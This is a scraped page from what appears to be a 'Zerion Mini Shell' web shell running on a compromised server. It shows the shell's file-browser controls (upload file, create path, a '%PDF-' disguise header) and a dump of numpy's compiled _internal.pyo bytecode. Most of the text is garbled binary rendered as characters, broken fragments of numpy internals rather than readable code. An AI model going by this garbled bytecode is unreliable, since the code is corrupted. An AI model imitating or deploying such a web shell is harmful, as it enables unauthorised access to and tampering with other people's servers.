%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/self/root/opt/alt/python27/lib64/python2.7/site-packages/numpy/core/
Upload File :
Create Path :
Current File : //proc/self/root/opt/alt/python27/lib64/python2.7/site-packages/numpy/core/_internal.pyo

�
�9Zc@`s3dZddlmZmZmZddlZddlZddlmZm	Z	ddl
mZmZm
Z
ddlZddlmZejdkr�ed	�Zned
�Zd�Zd�Zd
�Zd�Zejed��Zejed��Zejed��Zieed�6Zd�Zd�Zde_de fd��YZ!de fd��YZ"d�Z#d�Z$d�Z%d�Z&idd6dd6dd6d d 6d!d!6d"d"6d#d#6d$d$6d%d%6d&d&6d'd'6d(d(6d)d)6d*d*6d+d+6d,d-6d.d/6d0d16d2d36d4d56d6d66d7d86Z'd9j(e'j)��Z*idd6dd6dd6d:d 6d;d!6d<d"6d=d#6d<d$6d=d%6d>d&6d?d'6d@d(6d)d)6d*d*6d,d-6d.d/6d2d36d4d56d6d66d7d86Z+d9j(e+j)��Z,dAe-dB�Z.dC�Z/dD�Z0dE�Z1dFe2fdG��YZ3dS(Hs_
A place for code to be called from core C-code.

Some things are more easily handled Python.

i(tdivisiontabsolute_importtprint_functionN(tasbytest
basestringi(tdtypetarraytndarray(tobject_tlittlet<t>cC`s�g}t|j��}x|D]}||}t|�}t|t�sW|dkrftd��n|dkr�|d|kr�qnt|d�}|dkr�td��nt|dd|�}|jdkr�td��n|dkr|d}	nd}	|j
||||	f�qW|jd	d
��g|D]}
|
d^q=}g|D]}
|
d^qZ}g|D]}
|
d^qw}
g|D]}
|
d^q�}|||
|fS(Niisentry not a 2- or 3- tupleiisinvalid offset.talignsall itemsizes must be fixed.tkeycS`s|dS(Ni((tx((sG/opt/alt/python27/lib64/python2.7/site-packages/numpy/core/_internal.pyt<lambda>,s(ii(tlisttkeystlent
isinstancettuplet
ValueErrortintRtitemsizetNonetappendtsort(tadictRt	allfieldstfnamestfnametobjtntnumtformatttitleRtnamestformatstoffsetsttitles((sG/opt/alt/python27/lib64/python2.7/site-packages/numpy/core/_internal.pyt_makenames_lists2


cC`s�y|d}Wntk
r'd}nX|dkrRt||�\}}}}n�g}g}g}xm|D]e}||}|j|d�|j|d�t|�dkr�|j|d�qk|jd�qkWti|d6|d6|d6|d6|�S(	Ni����iiiR$R%R&R'(tKeyErrorRR(RRR(RRR$R%R&R'tnametres((sG/opt/alt/python27/lib64/python2.7/site-packages/numpy/core/_internal.pyt
_usefields7s(




c
C`s�|j}|dkr�|j}|dkrl|jdkr@|jS|jj�}|rb|j|fS|jSq�t|d�|dfSn|j}g|D]}|||f^q�}g}d}x�|D]�}	|	d|kr|	d|}
|jdd|
f�||
7}nt	|	�dkr8|	d|	df}n
|	d}|	djr}|t|	djd�|	djdf}n|t|	d�f}||	dj
7}|j|�q�W|j
|kr�|j
|}
|jdd|
f�n|S(Niits|V%dii(tfieldsRtsubdtypetmetadatatstrtcopyt_array_descrR$RRR(
t
descriptorR.R/tnewR$Rtordered_fieldstresulttoffsettfieldR!R*ttup((sG/opt/alt/python27/lib64/python2.7/site-packages/numpy/core/_internal.pyR3WsB		

	$




cC`stj|||�S(N(Rt__new__(tsubtypetshapeR((sG/opt/alt/python27/lib64/python2.7/site-packages/numpy/core/_internal.pyt_reconstruct�ssx(?P<order1>[<>|=]?)(?P<repeats> *[(]?[ ,0-9L]*[)]? *)(?P<order2>[<>|=]?)(?P<dtype>[A-Za-z0-9.?]*(?:\[[a-zA-Z0-9,.]+\])?)s\s*,\s*s\s+$t=c
C`sd}g}x	|t|�krtj|d|�}y|j�\}}}}Wn7ttfk
r�tdt|�d|f��nX|j�}|t|�krtj|d|�r�t|�}qt	j|d|�}|stdt|�d|f��n|j�}n|t
d�kr6|}nj|t
d�krQ|}nOtj||�}tj||�}||kr�td||f��n|}|t
d�t
d�t
gkr�t
d�}n||}|t
d�kr�|}	n|t|�f}	|j|	�qW|S(	Nitposs*format number %d of "%s" is not recognizediR-s/inconsistent byte-order specification %s and %st|R?(Rt	format_retmatchtgroupst	TypeErrortAttributeErrorRtendtspace_retsep_reRt
_convordertgett_nbotevalR(
tastrt
startindexR7tmotorder1trepeatstorder2Rtordertnewitem((sG/opt/alt/python27/lib64/python2.7/site-packages/numpy/core/_internal.pyt_commastring�sL		!
	cC`s�tj}|dk	r|Std�j}|dkr@tj}n9|dkrXtj}n!|dkrptj}n	tj}|t_|S(Ntptitltq(	t_getintp_ctypetcacheRRtchartctypestc_inttc_longt
c_longlong(tvalR]((sG/opt/alt/python27/lib64/python2.7/site-packages/numpy/core/_internal.pyR[�s			t_missing_ctypescB`seZd�Zd�ZRS(cC`s|S(N((tselfR!R((sG/opt/alt/python27/lib64/python2.7/site-packages/numpy/core/_internal.pytcast�scC`s|S(N((RdR!((sG/opt/alt/python27/lib64/python2.7/site-packages/numpy/core/_internal.pytc_void_p�s(t__name__t
__module__ReRf(((sG/opt/alt/python27/lib64/python2.7/site-packages/numpy/core/_internal.pyRc�s	t_ctypescB`s�eZd
d�Zd�Zd�Zd�Zd�Zd�Zd�Z	d�Z
eed
dd	�Zeed
dd
�Z
ee	d
dd�Zee
d
dd�ZRS(cC`sjy
t|_Wntk
r,t�|_nX||_||_|jjdkr]t|_n	t	|_dS(Ni(
R^RitImportErrorRct_arrt_datatndimtTruet_zerodtFalse(RdRtptr((sG/opt/alt/python27/lib64/python2.7/site-packages/numpy/core/_internal.pyt__init__�s

		cC`s|jj|j|�S(N(RiReRl(RdR((sG/opt/alt/python27/lib64/python2.7/site-packages/numpy/core/_internal.pytdata_as�scC`s'|jr
dS||jj|jj�S(N(RoRRkRmR=(RdR((sG/opt/alt/python27/lib64/python2.7/site-packages/numpy/core/_internal.pytshape_as�s	cC`s'|jr
dS||jj|jj�S(N(RoRRkRmtstrides(RdR((sG/opt/alt/python27/lib64/python2.7/site-packages/numpy/core/_internal.pyt
strides_as�s	cC`s|jS(N(Rl(Rd((sG/opt/alt/python27/lib64/python2.7/site-packages/numpy/core/_internal.pytget_data�scC`s*|jr
dSt�|jj|jj�S(N(RoRR[RkRmR=(Rd((sG/opt/alt/python27/lib64/python2.7/site-packages/numpy/core/_internal.pyt	get_shape�s	cC`s*|jr
dSt�|jj|jj�S(N(RoRR[RkRmRu(Rd((sG/opt/alt/python27/lib64/python2.7/site-packages/numpy/core/_internal.pytget_stridess	cC`s|jj|j�S(N(RiRfRl(Rd((sG/opt/alt/python27/lib64/python2.7/site-packages/numpy/core/_internal.pytget_as_parameter	stdocsc-types datas
c-types shapesc-types stridess_as parameter_N(RgRhRRrRsRtRvRwRxRyRztpropertytdataR=Rut_as_parameter_(((sG/opt/alt/python27/lib64/python2.7/site-packages/numpy/core/_internal.pyRi�s							cC`s�|j}t|�}t|t�r0|g}nt|ttf�r�xF|D]>}y|j|�WqLtk
r�td|f��qLXqLWtt|�|�Std|f��dS(Nsunknown field name: %ssunsupported order value: %s(R$RRR1RtremoveR(tdatatypeRTtoldnamest	nameslistR*((sG/opt/alt/python27/lib64/python2.7/site-packages/numpy/core/_internal.pyt	_newnamess	

cC`sW|j}i|jd6g|jD]}|j|d^q d6}t|d|dt�S(sReturn copy of structured array with padding between fields removed.

    Parameters
    ----------
    ary : ndarray
       Structured array from which to remove padding bytes

    Returns
    -------
    ary_copy : ndarray
       Copy of ary with padding bytes removed
    R$iR%RR2(RR$R.RRn(tarytdtR*t
copy_dtype((sG/opt/alt/python27/lib64/python2.7/site-packages/numpy/core/_internal.pyt_copy_fields#s
	
+cC`s�|js|jr�|dkr.||kr.dS|jr�xF|jD]8}|j|d|krA|j|d|krAdSqAWntd��ndS(s Checks safety of getfield for object arrays.

    As in _view_is_safe, we need to check that memory containing objects is not
    reinterpreted as a non-object datatype and vice versa.

    Parameters
    ----------
    oldtype : data-type
        Data type of the original ndarray.
    newtype : data-type
        Data type of the field being accessed by ndarray.getfield
    offset : int
        Offset of the field being accessed by ndarray.getfield

    Raises
    ------
    TypeError
        If the field access is invalid

    iNis'Cannot get/set field of an object array(t	hasobjectR$R.RE(toldtypetnewtypeR8R*((sG/opt/alt/python27/lib64/python2.7/site-packages/numpy/core/_internal.pyt_getfield_is_safe5s	cC`s5||krdS|js"|jr1td��ndS(sz Checks safety of a view involving object arrays, for example when
    doing::

        np.zeros(10, dtype=oldtype).view(newtype)

    Parameters
    ----------
    oldtype : data-type
        Data type of original ndarray
    newtype : data-type
        Data type of the view

    Raises
    ------
    TypeError
        If the new type is incompatible with the old type.

    Ns)Cannot change data-type for object array.(R�RE(R�R�((sG/opt/alt/python27/lib64/python2.7/site-packages/numpy/core/_internal.pyt
_view_is_safeUs
t?tbtBthtHRXtIRYtLRZtQtetftdtgtFtZftDtZdtGtZgtStstUtwtOtVRR-ti2tu2ti4tu4ti8tu8tf2t@c`s/i�d}t}t}d}t}dg��fd�����fd�}x"|rud}	|ddkr~|d}Pnd}
|ddkr�|jd�}ttt|d|!jd���}
||d}n|ddkr|d}|dkrd}n|d}n|dkr0t}t}
nt	}t
}
d}|dj�r�d}x1tdt
|��D]}||j�snPqnqnWt|| �}||}nt}|d dkr�t|dd|dt�\}	}}}n�|d|
kr�|}|ddkrd}nd}|| }||}|dk}||}|dkrl|d|7}d}nid
d	6d
d
6j||�}t||�}	|	j}ntd|��d}|d	kr\||}|	j|}||7}|dkrB|dks#|
dk	r5t|
�dkr5t|	|�}	qB||7}n||t||�}n|dkr�t|	|ff�}	n|
dk	r�t|	|
f�}	nt}|r�|jd�r�|djd�d}|d|!}||d}t}t}n	|�}|s|rU|�kr2td|��n|	|f�|<|sU��qUn|}||	j7}||7}qTWt
��dkr�|r��dddkr�|r��dd}nt��}||j}|d	kr�|||7}n|r|rt||�}n|r'||||fS|SdS(Niic`s�dcd7<dS(Nii(((tdummy_name_index(sG/opt/alt/python27/lib64/python2.7/site-packages/numpy/core/_internal.pytnext_dummy_name�sc`s6x/tr1d�d}|�kr'|S��qWdS(Nsf%di(Rn(R*(R�R.R�(sG/opt/alt/python27/lib64/python2.7/site-packages/numpy/core/_internal.pytget_dummy_name�s
	t}t(t)t,R�R?R
Rt^t!isT{t	byteordertis_subdtypetZRtUSVs%ds'Unknown PEP 3118 data type specifier %rt:s+Duplicate field name '%s' in PEP3118 formattf0(R�R?R
RR�R�(R�R�(RpRtindexRtmapRtsplitt_pep3118_native_mapt_pep3118_native_typecharst_pep3118_standard_mapt_pep3118_standard_typecharstisdigittrangeRt_dtype_from_pep3118RnRKRt	alignmentRRt_prodt_add_trailing_paddingt_gcdt
startswithtRuntimeError(tspecR�R�R8t
explicit_nametthis_explicit_nametcommon_alignmentt
is_paddingR�tvalueR=tjttype_mapttype_map_charsRRtnext_byteorderttypechart	dtypechartnumpy_byteordertextra_offsett
start_paddingt
intra_paddingRXR*trettpadding((R�R.R�sG/opt/alt/python27/lib64/python2.7/site-packages/numpy/core/_internal.pyR��s�		
%
	
	
(	


	 
*

		





cC`s2|jd	kr%i|dfd6}nt|j�}|jr�|jddkr�|djdkr�d|ddj||ddf|d<t|�}n�d}xEtr�d|}||kr�d||jf||<Pn|d7}q�Wt|�}d|kr.t|j�}d|d<t	|�|_n|S(
sBInject the specified number of padding bytes at the end of a dtypeiR�i����R-R�sV%dispad%dN(
R.RtdictR$R]RRRnRR(R�R�tvfieldsR�R*R$((sG/opt/alt/python27/lib64/python2.7/site-packages/numpy/core/_internal.pyR�Ks*	

cC`s%d}x|D]}||9}q
W|S(Ni((taRWR((sG/opt/alt/python27/lib64/python2.7/site-packages/numpy/core/_internal.pyR�js
cC`s"x|r|||}}qW|S(s0Calculate the greatest common divisor of a and b((R�R�((sG/opt/alt/python27/lib64/python2.7/site-packages/numpy/core/_internal.pyR�ps	tTooHardErrorcB`seZRS((RgRh(((sG/opt/alt/python27/lib64/python2.7/site-packages/numpy/core/_internal.pyR�ws(4t__doc__t
__future__RRRtretsystnumpy.compatRRt
multiarrayRRRR^tnumerictypesRR�RLR(R,R3R>tcompileRBRIRHRJRVR[RR\tobjectRcRiR�R�R�R�R�tjoinRR�R�R�RpR�R�R�R�R�R�(((sG/opt/alt/python27/lib64/python2.7/site-packages/numpy/core/_internal.pyt<module>s�	!	 	0			/		3			 	 

�			

Zerion Mini Shell 1.0